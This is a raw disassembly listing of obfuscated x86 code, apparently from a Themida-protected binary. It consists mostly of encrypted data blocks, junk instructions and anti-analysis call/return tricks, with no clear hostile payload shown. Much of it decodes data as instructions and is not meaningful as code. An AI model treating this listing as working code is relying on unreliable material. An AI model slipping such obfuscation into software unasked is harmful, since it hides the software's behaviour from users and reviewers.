CHUNK FOR sub_5DE66B ; =============== S U B R O U T I N E ======================================= sub_5DE62F proc near ; CODE XREF: sub_5DE66B-49p mov ebx, 2589D7E5h pop ebx xor eax, 74FDABFh xor edi, 607154A4h push eax pop dword ptr [esi] push ecx jnb loc_5DE64E sub bl, 46h loc_5DE64E: ; CODE XREF: sub_5DE62F+16j pop ebx sub esi, 4 sub edx, 1 jnz loc_5DE684 call sub_5DE66B icebp fsubr dword ptr [esi] mov al, 4 cmc cmp al, 36h sub_5DE62F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5DE66B proc near ; CODE XREF: sub_5DE62F+2Fp ; FUNCTION CHUNK AT 005DE60C SIZE 00000023 BYTES mov ecx, 20074368h pop ebx jmp loc_5DE69C ; --------------------------------------------------------------------------- dw 8378h db 90h ; --------------------------------------------------------------------------- mov ah, 91h scasb pop esi cld jmp short sub_5DE6AD ; --------------------------------------------------------------------------- dd 7726A59Ch ; --------------------------------------------------------------------------- loc_5DE684: ; CODE XREF: sub_5DE62F+29j jge loc_5DE68D xor bh, 20h loc_5DE68D: ; CODE XREF: sub_5DE66B:loc_5DE684j jmp loc_5DE60C ; --------------------------------------------------------------------------- dw 0ECBEh dd 0D7D1544Dh, 2A16AE8h ; --------------------------------------------------------------------------- loc_5DE69C: ; CODE XREF: sub_5DE66B+6j lea ecx, [ebp+7E9C2E3h] push 0 push ecx call sub_5DE6AD and [ecx-3Dh], bl sub_5DE66B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5DE6AD proc near ; CODE XREF: sub_5DE66B+13j ; sub_5DE66B+3Ap arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5DE6AD endp ; --------------------------------------------------------------------------- db 0E9h, 1Eh, 2Eh ; --------------------------------------------------------------------------- mov ebx, 76B178BEh jmp loc_5DE6D1 ; --------------------------------------------------------------------------- dw 0FA1Bh dd 9AFB914Bh db 0 ; --------------------------------------------------------------------------- loc_5DE6D1: ; CODE XREF: Themida_:005DE6C5j mov [ebp+7E41B71h], ecx push 0 push ebp call sub_5DE6E2 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DE6E2 proc near ; CODE XREF: Themida_:005DE6DAp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5DE6E2 endp ; --------------------------------------------------------------------------- dw 2764h dd 85C7BF69h, 7E42DA1h, 5954h, 8E9h, 201EA300h, 1EB8FD6Ch dd 0B985C7AFh, 7E422h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0B87C357h dd 23699D09h, 0B5FF07E4h, 7E42BF1h, 95FFC18Bh, 7E43061h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 4CC35646h dd 6AA9DC78h, 4195FF00h, 8B07E40Eh, 591AEBC0h, 85F4CBE0h dd 3BFFA1B1h, 5A4984E2h, 2B3858Eh, 272884E3h, 56EC796Dh dd 898D8D5Dh, 6007E9C3h, 718D8961h, 307E41Bh, 0E4020DBDh dd 0A185C707h, 0E407E42Dh, 6A00005Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 66E7C357h dd 0A68F781h, 22B985C7h, 7E4h, 0B5FF0000h, 7E41D49h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F5C35242h, 0D67D9C65h dd 330AD733h, 0E423FD9Dh, 6195FF07h, 8B07E430h, 0FF006AF1h dd 0E40E4195h, 0EBC08B07h, 530E1E7Fh, 0C8C5B238h, 0AFB719DCh dd 64BE4DFEh, 71145E16h, 68B84739h, 0D0A33DF2h, 0B5A850FFh dd 63E8D690h, 0E283C274h, 0E3680FFCh, 0B196F32Ah, 0F8267C6Ch dd 1F3CAC58h, 7088DAF2h, 7CF1FF37h, 6B157375h, 0E6822636h dd 6AD008E3h, 8D954A39h, 0F30996FBh, 0F300173Fh, 423FB884h dd 0A3F7BEDEh, 6A4A8C12h, 0C4A8898Bh, 465B27F6h, 0FEF7B3E8h dd 26678CC5h, 27D266A1h, 708F7DB7h, 10D8F314h, 1F3613DCh dd 2B12BF6Eh, 0F25063BCh, 6447123h, 7A383543h, 0FCE97078h dd 81AA8597h, 33D48550h, 0D144F1E0h, 1D4005E8h, 13FC884Eh dd 3CE83202h, 33E918F6h, 61E95FB9h, 33E93634h, 0F0B3156Eh dd 17BDBC6Dh, 17ADB49Fh, 33E920C9h, 0F0BB77E6h, 0E4682057h dd 799AFE96h, 33EA0B35h, 0FA68536Eh, 8E6AA296h, 340D3BB6h dd 226D3ACDh, 3CE935E6h, 33E931F7h, 0D15353B9h, 30F4DC88h dd 0E562356Eh, 0F7C4B0BAh, 3C893272h, 33E9374Ch, 0B88855E6h dd 55795489h, 55B9C232h, 0A3CDBA62h, 0F7E6B0E3h, 338332DEh dd 33EADDCDh, 6DC935CDh, 47606B25h, 77683157h, 33F2319Dh dd 65AF35DCh, 0A75E7DADh, 24F17F3Dh, 0CC5E3AB8h, 33EBB5C2h dd 0F96335E6h, 87B68C23h, 37604B94h, 0F75C8BF8h, 0A616205Ah dd 340D22EAh, 0DBBC35F1h, 33E935CEh, 6E2A68C6h, 37CD59FAh dd 37CD7138h, 33E935C4h, 0B62A602Bh, 4108667Ah, 33E6DCCBh dd 316535CDh, 0D2A7A290h, 0A50ED014h, 0D5A919E4h, 8D8F6C6Dh dd 0F3625634h, 33E939DEh, 0A0CA499Bh, 1BE91359h, 89708255h dd 0C254B6AAh, 33EED1AAh, 8E6A3CA9h, 340D3C5Bh, 63F04137h dd 8B29BEC8h, 33E931B7h, 2790B06Fh, 0AE643297h, 340FDC49h dd 6BB2E623h, 3ADC88EDh, 47E932D3h, 8BBA658Ch, 33E931B7h dd 2790B06Fh, 0AE643297h, 340FD366h, 6BB2E623h, 8EAF7BD1h dd 0FB625349h, 3383F510h, 33EADD9Ah, 6CC935E6h, 4F606AB0h dd 7768319Dh, 33FC31F8h, 64AE356Eh, 0B3D516F4h, 0BE11CF5Eh dd 0DA2D2250h, 0BE3ABEE1h, 0DA4DBCF6h, 0E316CCBEh, 0DBBA35B6h dd 33E9356Dh, 682A6E17h, 37CD6912h, 37CD714Ch, 33E935FFh dd 682A6630h, 81DC811Dh, 3C293E5Ch, 33E948EAh, 33EFDC37h dd 0C681359Bh, 0C1451375h, 7C0EA86Bh, 63BB3297h, 6A63FC39h dd 33EA8D85h, 3383356Eh, 33EADD67h, 6BC9359Bh, 77606D0Eh dd 776831C2h, 33F23157h, 63A935B9h, 7B35FC1Fh, 0C7490154h dd 31613A2Fh, 0B8E9359Bh, 8A8F553Eh, 0B88FBC38h, 0D0165480h dd 0DBBF35D3h, 33E935DFh, 6D2A6B4Eh, 37CD41BEh, 37CD711Ah dd 33E935DBh, 372A63A0h, 0B5E6415Ch, 33E935BFh, 8EEDA5Dh dd 0AE6461BBh, 3400F128h, 6E00B5C9h, 0BA6CB893h, 0CCEEDC42h dd 3C293EA3h, 33E9AA3Dh, 63E95FDCh, 33E93686h, 0F0B11537h dd 17ADBCC3h, 17ADB4C9h, 33E92FE2h, 0F0B97573h, 0F30FD4C6h dd 3CB4917Eh, 33E938E7h, 33ECDD37h, 0D31C359Bh, 53DB041Ah dd 0AE646F87h, 340D7A94h, 33E93A51h, 2C6D5DDCh, 0AD1B2E24h dd 6B2DAF80h, 0E0E1B9C3h, 33E93C24h, 0FE0269E6h, 49EF97E9h dd 8BB60D60h, 33E935DDh, 0DBBF3504h, 33E93534h, 6D2A6BBBh dd 37CD4144h, 37CD7167h, 33E93567h, 252A63FFh, 3383D623h dd 33EADD3Bh, 6EC93537h, 5F606858h, 776831E9h, 33FF31C2h dd 66AC3573h, 0B7E4627Ah, 0F7CDA851h, 33833287h, 33EADD60h dd 6CC9359Bh, 4F606A0Eh, 776831C2h, 33FE3157h, 64AE35B9h dd 0B2BA61Fh, 0C4626285h, 0BA6CB868h, 59EEDC3Fh, 300166CDh dd 13E935E6h, 0BAB2F628h, 0B2ED11E5h, 2BED1198h, 70E9356Eh dd 6021F664h, 0CBBAD369h, 3CB9E532h, 33E9366Bh, 0F8563A73h dd 0B88F55E3h, 0D268530Fh, 3888BCCDh, 276D3AF7h, 0BEE9359Bh dd 0D7A6D250h, 2C5053E1h, 33EA8D69h, 0D01635B9h, 702682D3h dd 8222BE08h, 3E54B874h, 0BEEEDC5Fh, 0DA2EFF40h, 6F948DE1h dd 0B6DABF38h, 340D17ACh, 0DA28FAF7h, 0F128AE64h, 0B5C93400h dd 0B8936E00h, 0DC42BA6Ch, 3EA3CCEEh, 0AA3D3C29h, 5E983E9h dd 0C08BA4F3h, 8BF9EF8Ah, 34BE66C3h, 8BC08B95h, 0F1BD83FEh dd 7E413h, 0BD830975h, 7E40935h, 50197400h, 0B8C08B53h dd 47Ah, 0EED8589h, 9D8D07E4h, 7E6EA57h, 585BD3FFh, 935BD83h dd 740007E4h, 0B8535017h, 47Ah, 0EED8589h, 9D8D07E4h, 7E6E6F8h dd 585BD3FFh, 0CE9h, 27C86600h, 0FFAA1ECDh, 0EC7C928Ah dd 55006A6Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0F8795140h, 897E0B5h, 0FE952h, 0FCBB0000h dd 9223ED56h, 423B1F7Bh, 0E9C2EA82h, 0F605A1Eh, 0BA66DEBFh dd 8B61ACB6h, 848D8DC0h, 6A07E9C9h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FF7C357h dd 68Ah, 8C0F00h, 1000000h, 0E41B199Dh, 718D8907h, 6A07E41Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 89DDC357h, 0E430BD9Dh, 59BD8907h, 6607E42Ch dd 85C7F98Bh, 7E42DA1h, 71CCh, 1860Fh, 8BF90000h, 0B985C7D8h dd 7E422h, 53000000h, 0D818D31h, 0FF5807E4h, 0E406A5B5h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 98A30569h, 503C4F08h, 8D89196Fh, 7E40881h dd 306195FFh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 2A5011C3h, 941858Bh, 0F98B07E4h dd 95FF006Ah db 41h, 0Eh, 0E4h ; --------------------------------------------------------------------------- loc_5DEE0F: ; DATA XREF: Themida_:00582D0Co ; Themida_:0058320Co pop es mov eax, eax jmp short loc_5DEE51 ; --------------------------------------------------------------------------- dd 6C2E7C34h, 0E22247D3h, 0D194B4E5h, 2B7EC397h, 75175A38h dd 1400621Ch, 0C8CB3443h, 0FB487312h, 34BA42C3h, 7644A220h dd 30AB7891h, 6CE54A29h, 0B0B8BF50h, 35824FAEh, 0CD6965B0h db 20h ; --------------------------------------------------------------------------- loc_5DEE51: ; CODE XREF: Themida_:005DEE12j mov eax, eax loc_5DEE53: ; CODE XREF: Themida_:005DEE71j push 0 push ebx call sub_5DEE5E and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DEE5E proc near ; CODE XREF: Themida_:005DEE56p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5DEE5E endp ; --------------------------------------------------------------------------- mov [ebx+7Eh], ecx jecxz short loc_5DEE53 cmc shl byte ptr [esi-46h], 5Bh das cmp dword ptr [ebp+7E413F1h], 0 jnz short loc_5DEE8B cmp dword ptr [ebp+7E40935h], 0 jz short loc_5DEEA4 loc_5DEE8B: ; CODE XREF: Themida_:005DEE80j push eax push ebx mov eax, eax mov eax, 3FCh mov [ebp+7E41479h], eax lea ebx, [ebp+7E6E9F0h] call ebx ; _iob pop ebx pop eax loc_5DEEA4: ; CODE XREF: Themida_:005DEE89j cmp dword ptr [ebp+7E40935h], 0 jz short loc_5DEEC4 push eax push ebx mov eax, 3FCh mov [ebp+7E41479h], eax lea ebx, [ebp+7E6E6DFh] call ebx ; _iob pop ebx pop eax loc_5DEEC4: ; CODE XREF: Themida_:005DEEABj movsx edx, dx mov dx, 0D2B8h mov eax, eax jmp loc_5DEEE4 ; --------------------------------------------------------------------------- dw 9E3Ch dd 711324D9h, 6DDC97Eh, 2F46E8E3h, 8FB77926h ; --------------------------------------------------------------------------- loc_5DEEE4: ; CODE XREF: Themida_:005DEECDj cmp dword ptr [ebp+7E42015h], 1 jz loc_5DEF5D push 0 push edx call sub_5DEEFC and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DEEFC proc near ; CODE XREF: Themida_:005DEEF4p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5DEEFC endp ; --------------------------------------------------------------------------- dd 0F8F920Fh, 0C8Ah, 68F0F00h, 0F000000h, 86h, 0BD83F900h dd 7E40E2Dh, 2E850F00h, 66000000h, 0F26E381h, 15DBD83h dd 0F0007E4h, 4F84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h db 0F3h ; --------------------------------------------------------------------------- loc_5DEF5D: ; CODE XREF: Themida_:005DEEEBj jmp loc_5DF30B ; --------------------------------------------------------------------------- push 0 push esi call sub_5DEF6D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DEF6D proc near ; CODE XREF: Themida_:005DEF65p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5DEF6D endp ; --------------------------------------------------------------------------- db 68h, 4Bh, 0 dd 0F000000h, 0B060DBB7h, 0A7D88137h, 61468467h, 0A42459Bh dd 4A3CF7E2h, 0C133F086h, 4CE47BA4h, 26B7E7E4h, 90339AB7h dd 0C133F3B0h, 26AD02Ch, 0E57F794Fh, 0E577710Fh, 0C133EA81h dd 262B1C2h, 9B03D625h, 0CE06E12Fh, 0C133F7DCh, 4055902Ch dd 0A0EB39CFh, 468820F4h, 28756856h, 0C133F42Fh, 2965F00Bh dd 0C133F0B3h, 9FF0AE78h, 0C51784A5h, 0C517B497h, 0C133F01Fh dd 0D0F0A6C3h, 0C1331897h, 406EF061h, 28F8875Dh, 94339A5Fh dd 0C133F3C4h, 26ED016h, 0E55F7956h, 0E5777181h, 0C133E4C6h dd 266B561h, 90339AC5h, 0C133F3B0h, 26AD02Ch, 0E57F794Fh dd 0E577710Fh, 0C133E781h, 262B1C2h, 0B1EF1FCh, 1B8263Bh dd 38D9713Eh, 0C7816082h, 18B89646h, 0CE67469Bh, 3F17BC84h dd 2961F0A8h, 0C133F062h, 9BF0AA90h, 0C517A4D1h, 0C517B4ADh dd 0C133F003h, 33F0A249h, 406B0C31h, 9DEF1918h, 0C33FF551h dd 0C159F0B0h, 0C1301809h, 9813F02Ch, 8DBAA9D5h, 85B2F42Fh dd 0C12BF4A1h, 9072F0C2h, 0EDAC8FA2h, 16B862BAh, 9BC47A0Ah dd 0CECFF8A7h, 0C133F392h, 7BE4700Bh, 3D7B7BE3h, 2961F0A8h dd 0C133F062h, 9BF0AA90h, 0C517A4D1h, 0C517B4ADh, 0C133F00Dh dd 0B9F0A249h, 8C7E77F0h, 4B5F8A49h, 0DAD171BCh, 793FEE7Dh dd 0C133F059h, 2962F046h, 0C133F015h, 98F0A92Bh, 0C517BC0Ch dd 0C517B443h, 0C133F07Bh, 0A0F0A1F1h, 11731639h, 4F3CDB3Eh dd 0C133F013h, 3952906Bh, 0B389A0E4h, 4838CC6Ch, 0AB2D46Dh dd 0ACAC22ECh, 0ABEA7C3Eh, 0C2DBA02Ch, 0E133F016h, 486B3353h dd 4037D4C1h, 0D637D486h, 8133F061h, 67A933E0h, 0C525B4h dd 0DFB6FF28h, 9133F017h, 0C1387E04h, 0C7DAF085h, 2D33F0C2h dd 702CA16Fh, 0AB6AAA8Bh, 0C2DBA158h, 0E133F02Ch, 486A334Fh dd 4037D447h, 0D837D4C1h, 8033F0C2h, 56DA3330h, 1E4C4CFBh dd 0C133E0B0h, 4794A42Ch, 0A475FE0Dh, 49F90CA4h, 0A7CB0445h dd 0C7B5FF89h, 0CE33F061h, 0C133F035h, 0F8B3AB58h, 0E7B6FF44h dd 0A133F017h, 40550381h, 0A06D9665h, 38328949h, 0C1330FE0h dd 433C70B0h, 0C133F155h, 2961F046h, 0C133F015h, 9BF0AA2Bh dd 0C517A40Ch, 0C517B443h, 0C133F07Bh, 0ECF0A2F2h, 93904735h dd 405597B8h, 674B0FCh, 28F9048Eh, 0C133F182h, 91339AC2h dd 0C133F389h, 26BD0B0h, 0E5777900h, 0E5777128h, 0C133EA12h dd 263B00Bh, 9667F8Dh, 28D2818Eh, 0C133F086h, 2962F0DAh dd 0C133F05Bh, 98F0A90Ch, 0C517BC9Fh, 0C517B48Ah, 0C133F091h dd 8DF0A183h, 370803E0h, 4FDACE96h, 0AB33F058h, 0C2DBA12Ch dd 0E133F016h, 486A3352h, 4037D4C9h, 0DA37D486h, 8033F061h dd 227633E1h, 0AB2568A9h, 3865FE63h, 0A7CBA94Ch, 3E388988h dd 0C168748Ah, 0C159F0C2h, 0C1301836h, 9E13F0B0h, 0BDBAAF9Bh dd 85B2F408h, 0C127F432h, 9674F00Bh, 44F45346h, 0C6DA3A36h dd 0C133F060h, 2961F0DAh, 0C133F05Bh, 9BF0AA0Ch, 0C517A49Fh dd 0C517B48Ah, 0C133F09Dh, 5EF0A280h, 83CB9078h, 0C13679BFh dd 0B589F058h, 2803A824h, 0C133F013h, 5FA5C690h, 2953B8B6h dd 0C133F0C4h, 1A591Fh, 0D3DA54CBh, 6533F058h, 0DCE289Ah dd 0B60BCEB0h, 5FE4E797h, 6CFA5E07h, 4E3CA976h, 0C133F067h dd 0C13372BFh db 58h, 0F0h, 52h ; --------------------------------------------------------------------------- loc_5DF30B: ; CODE XREF: Themida_:loc_5DEF5Dj js short loc_5DF376 sub al, 2Eh mov word ptr [ebx-1DEE5D8Bh], ds idiv dword ptr [esi-25C1E684h] mov cl, 8 inc edi mov byte ptr [ecx-1], 0E2h or bh, dh sbb eax, esi stosd pop eax mov al, ds:0F02CC2DBh xor esp, ecx dec esi xor ebp, [ebx+48h] dec edi aam 37h inc eax rcl esp, 37h fcmovb st, st(2) lock xor eax, [ecx+571F3331h] mov ah, 0F3h cld dec byte ptr [ebx+7EC15958h] sbb [eax], dh rcl dword ptr [esi], 0F0h adc ebx, [ebx-6A455538h] mov eax, ds:0E685B2F4h hlt ; --------------------------------------------------------------------------- das shl dword ptr [ecx-10h], 71h loc_5DF363: ; CODE XREF: Themida_:005DF3A1j xchg eax, ebx jnb short near ptr loc_5DF368+1 fcomip st, st(1) loc_5DF368: ; CODE XREF: Themida_:005DF364j cmp [ecx+18h], bl sub al, 0CAh xor al, 88h popa cmp al, 39h sub esi, ecx mov ebx, ebp loc_5DF376: ; CODE XREF: Themida_:loc_5DF30Bj xor eax, ecx test [eax+5D194055h], edx mov ch, [eax] outsb lock xor eax, ecx xchg eax, edi scasd sbb al, 0D8h dec eax jmp short loc_5DF39E ; --------------------------------------------------------------------------- db 2 dd 0D10BA13Dh, 0A00C5E36h, 0E1264D88h, 0CE32F761h ; --------------------------------------------------------------------------- inc esi xchg eax, ebx loc_5DF39E: ; CODE XREF: Themida_:005DF389j xor eax, ecx popa jno short loc_5DF363 sub dword ptr es:[edx], 0DDE54226h cmp eax, 3CF02B25h inc esp inc esi lock xor eax, ecx popa lock sub [esi-1D3ECC10h], ax lodsd lock pushf call near ptr 32230B61h mov ah, 17h lds eax, [edx-10h] xor eax, ecx imul esp, [ebp+6440D4F0h], 0EAAB5BA8h mov al, 7Ch fdiv st, st(1) xlat mov dl, 0FFh mov bh, 89h popa lock xor ebp, [ebx-3D245C50h] pop eax lock xor esp, ecx ja short near ptr loc_5DF41D+4 push 37D44A48h inc eax dec edi aam 37h xlat test esi, eax xor eax, [edx-506ACC6Fh] ; CODE XREF: Themida_:005DF401j outsd jo short near ptr loc_5DF3FA+1 xchg bl, [ecx+34h] xor eax, ecx pop eax call far ptr 0C133h:0F3C49733h push ss shr byte ptr [ebp+2], 1 push ebp jns short loc_5DF45E in eax, 81h ; DMA page register 74LS612: ; Channel 2 (diskette DMA) (address bits 16-23) jno short loc_5DF492 in eax, 0C6h ; DMA controller, 8237A-5. ; channel 3 current address loc_5DF41D: ; CODE XREF: Themida_:005DF3ECj jmp far ptr 265h:0B661C133h ; --------------------------------------------------------------------------- dd 0AB2815Ch, 42B6A89Fh, 2513E591h, 443CF111h, 0C133F060h dd 2966F0EFh, 0C133F0C1h, 9CF0AD41h, 0C5179C39h, 0C517B4D9h dd 0C133F03Ah, 0FFF0A553h, 0E88899AFh, 9C035E12h db 48h, 5 ; --------------------------------------------------------------------------- loc_5DF45E: ; CODE XREF: Themida_:005DF415j lock jnp short near ptr loc_5DF49C+1 pop ebx imul ebp, [ebx-3ECC6BA7h], 96339A58h ; --------------------------------------------------------------------------- dd 0C133F3C4h, 26CD016h, 0E54F7954h, 0E5777181h, 0C133ECC6h dd 264B761h, 5214CEFFh, 31F3D4E0h, 0C122198Dh db 16h, 0F0h ; --------------------------------------------------------------------------- loc_5DF492: ; CODE XREF: Themida_:005DF419j db 2Eh loopne near ptr loc_5DF4FC+3 setalc mov eax, 40A9CCE4h clc loc_5DF49C: ; CODE XREF: Themida_:loc_5DF45Ej jecxz short loc_5DF4F3 sbb dl, [ebx+ecx-44h] test al, 9Ch xor [edi], bl cmp al, 0Eh xor dh, al arpl [ecx], bp das lock xor eax, ecx db 36h test al, 0F0h cdq xor byte ptr [edi+edx+17B404C5h], 0C5h fcomip st, st xor eax, ecx and [eax-0A088210h], esp retn 0AC4Bh ; --------------------------------------------------------------------------- db 4Ah, 45h, 0BEh dd 0C48E7D05h, 4C3419DDh, 28E3AE86h, 9D2E4882h, 44008BF8h dd 0C6D7EEC0h, 28F23F9Bh, 2E2C6978h, 0A2759B8Ch db 11h, 0E2h, 0F7h ; --------------------------------------------------------------------------- loc_5DF4F3: ; CODE XREF: Themida_:loc_5DF49Cj mov esi, 0DA3E197Ch mov cl, 8 inc edi loc_5DF4FC: ; CODE XREF: Themida_:loc_5DF492j mov byte ptr [ecx-1], 0E2h loc_5DF500: ; DATA XREF: Themida_:005838A0o or [ebx-5B0CFA17h], al cmp dword ptr [ebp+7E9CAF4h], 0 jz short loc_5DF51C lea ecx, [ebp+7E44FE7h] mov eax, 1 jmp ecx ; --------------------------------------------------------------------------- loc_5DF51C: ; CODE XREF: Themida_:005DF50Dj inc eax push 0 push ebx call sub_5DF528 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DF528 proc near ; CODE XREF: Themida_:005DF520p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5DF528 endp ; --------------------------------------------------------------------------- dd 309640FCh, 11E9E8EAh, 20000000h, 27BB337Ah, 0EBB3FC46h dd 0FD301F4Ah, 626FD3D4h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0CCC35646h, 4CFF5C78h, 8322E99Eh, 6A2DE8h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 12BC30C3h, 0DE8B557Fh, 35BAD0B6h, 8B6F5209h, 53006AC0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0F606885h, 38Ch, 0FBB70F00h, 11E9h, 0F30DB400h, 4F9B87E3h dd 5B4148A9h, 0DC8896A8h, 0BA61FAD9h, 7BE59F51h, 0BD83D68Bh dd 7E413F1h, 83097500h, 0E40935BDh, 19740007h, 0C08B5350h dd 3FCB8h, 0ED858900h, 8D07E40Eh, 0E6EA579Dh, 5BD3FF07h dd 35BD8358h, 7E409h, 53501774h, 3FCB8h, 0ED858900h, 8D07E40Eh dd 0E6E6F89Dh, 5BD3FF07h, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0FE43D60Dh dd 0AF291F79h, 0FD08B66h, 28Fh, 6AD78B00h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 8182C357h dd 22255AF6h, 8B661908h, 8DC08BDFh, 0E9D2F38Dh, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 6BCB353Fh, 5C3A205Ch, 1415BD01h, 8D2907E4h, 7E426B9h dd 1B718D89h, 0BD8B07E4h, 7E425C1h, 2DA185C7h, 657807E4h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0EC5E1EC3h, 0DB0591EDh, 664E90DDh, 379CF781h dd 22B985C7h, 7E4h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0FF2E9FC3h, 0E41E8DB5h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 2FA7A37Ah, 6195FFF1h, 6A07E430h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0CAA0C352h, 0BF6656F4h, 6A5F6537h, 4195FF00h, 8B07E40Eh dd 9B1CEBC0h, 13B3C4D3h, 2BE4316h, 0EBE82EC0h, 2D076329h dd 1B0C63C0h, 0BFD691ACh, 0E9D0BBEEh, 170h, 571542D8h dd 87A4687Ch, 4F584CD2h, 8855890h, 518E56ABh, 88D56B0h dd 518658B7h, 38AD718Dh, 51FF2487h, 0D3047088h, 9F00C42Ch dd 50B8B6BCh, 51C915F7h, 128h, 0 dd 4, 2 dup(0) dd 36h, 0 dd 8, 0 aSystem db 'System',0 aProcess db ' Process]',0 align 10h dd 41h dup(0) ; --------------------------------------------------------------------------- jmp loc_5E1139 ; --------------------------------------------------------------------------- push 7E9D6A6h jmp loc_598345 ; --------------------------------------------------------------------------- push 7E9D7CFh jmp loc_598345 ; --------------------------------------------------------------------------- push 7E9D88Fh jmp loc_598345 ; --------------------------------------------------------------------------- push 7E9D973h jmp loc_598345 ; --------------------------------------------------------------------------- push 7E9DAB3h jmp loc_598345 ; --------------------------------------------------------------------------- push 7E9DC2Ah jmp loc_598345 ; --------------------------------------------------------------------------- push 7E9DD08h jmp loc_598345 ; --------------------------------------------------------------------------- push 7E9DDBAh jmp loc_598345 ; --------------------------------------------------------------------------- push 7E9E064h jmp loc_598345 ; --------------------------------------------------------------------------- push 7E9E12Bh jmp loc_598345 ; --------------------------------------------------------------------------- push 7E9E212h jmp loc_598345 ; --------------------------------------------------------------------------- push 7E9E294h jmp loc_598345 ; --------------------------------------------------------------------------- push 7E9E44Ch jmp loc_598345 ; --------------------------------------------------------------------------- push 7E9E9E0h jmp loc_598345 ; --------------------------------------------------------------------------- push 7E9EB26h jmp loc_598345 ; --------------------------------------------------------------------------- db 0FDh dd 0B3C8FB5Dh, 687DB0A6h, 182D60ECh, 0CCE11440h, 5C90C387h dd 0E565EE7Fh, 98BA9DB2h, 4A065065h, 0FB530217h, 16F963C8h dd 23FF63E6h, 0D92E2FE3h, 0A188D27Ch, 0A8AF98B2h, 120579AAh dd 0DAC10B43h, 9A8DD179h, 344891B9h, 15D533FFh, 3295C6ABh dd 0C20C042Ah, 8DC3937Ah, 0A504475Ch, 9AA723F9h, 0D3BA0256h dd 3588CC82h, 0F9A02050h, 0DF101D23h, 0F99F96CAh, 113B1923h dd 0D77FDACDh, 36195E93h, 9DB24549h, 5E8E99D1h, 2D9E5Ah dd 0BBA20000h, 382B399h, 7EC8C0E6h, 0F9979C9Bh, 87D27F23h dd 534286CFh, 23F9981Fh, 2D5BF487h, 12431346h, 5EAA227Ah dd 114495Ah, 0D9480000h, 0A188D27Ch, 0F15BF9B3h, 0E0115AADh dd 0A5DA796Ch, 147D2317h, 0B8FC454Dh, 7ABE90C5h, 3680CE87h dd 93C3A6EEh, 981C15F4h, 0F476A68Bh, 66731C15h, 0F1981B52h dd 0C9FA3AD9h, 0C1A8F066h, 0A4D4B993h, 0A91C1623h, 0ED566B9Ch dd 7F1C1628h, 20245437h, 1C291C16h, 0CB83D2EBh, 7CD28398h dd 58FDE438h, 94BFB2F6h, 303C6DB6h, 69E1721Eh, 0A5D2AF55h dd 0B2FBFDDAh, 16035668h, 172B1F34h, 95C6DD95h, 977D381Bh dd 74F23FAh, 0FA6EF424h, 0BBECF923h, 6EDC7724h, 0C4EAF225h dd 6EB8E8CBh, 233323FAh, 3A19C62Dh, 3079CC10h, 76BA9DE7h dd 1B2BE158h, 76DDC40Eh, 0C78CA1D4h, 7A8C9183h, 0F418C2A6h dd 1564F7h, 7DDB7F00h, 3224354Ah, 0E26AEAFFh, 96BE9AAFh dd 45054E63h, 70FDDE12h, 1F3467E3h, 0D2E71A38h, 8499CC84h dd 0E54A7DD1h, 6468987Bh, 0B16523FFh, 0C89178B0h, 0EF74A8Eh dd 0BED70848h, 6D82B595h, 0D41C66E8h, 158EC1F1h, 80B1BE1Ch dd 0C0E6A21Dh, 62DAECFDh, 3B8425D3h, 9B0F0EF1h, 0FF0C23F9h dd 5A8A6DB5h, 5F23F998h, 0BEAD2152h, 23F9988Ah, 74F05FF2h dd 5A5EA924h, 0E643h, 0F5604700h, 0D9A92859h, 3A8ED27Ch dd 94D0353h, 0E76C85B6h, 75071963h, 96FADBB7h, 7F66A9Bh dd 1C15D29Eh, 0D303E62Eh, 2B1C15C9h, 0A7D6E770h, 41178DCh dd 0B39BBAD3h, 0BEF80A80h, 697B14E6h, 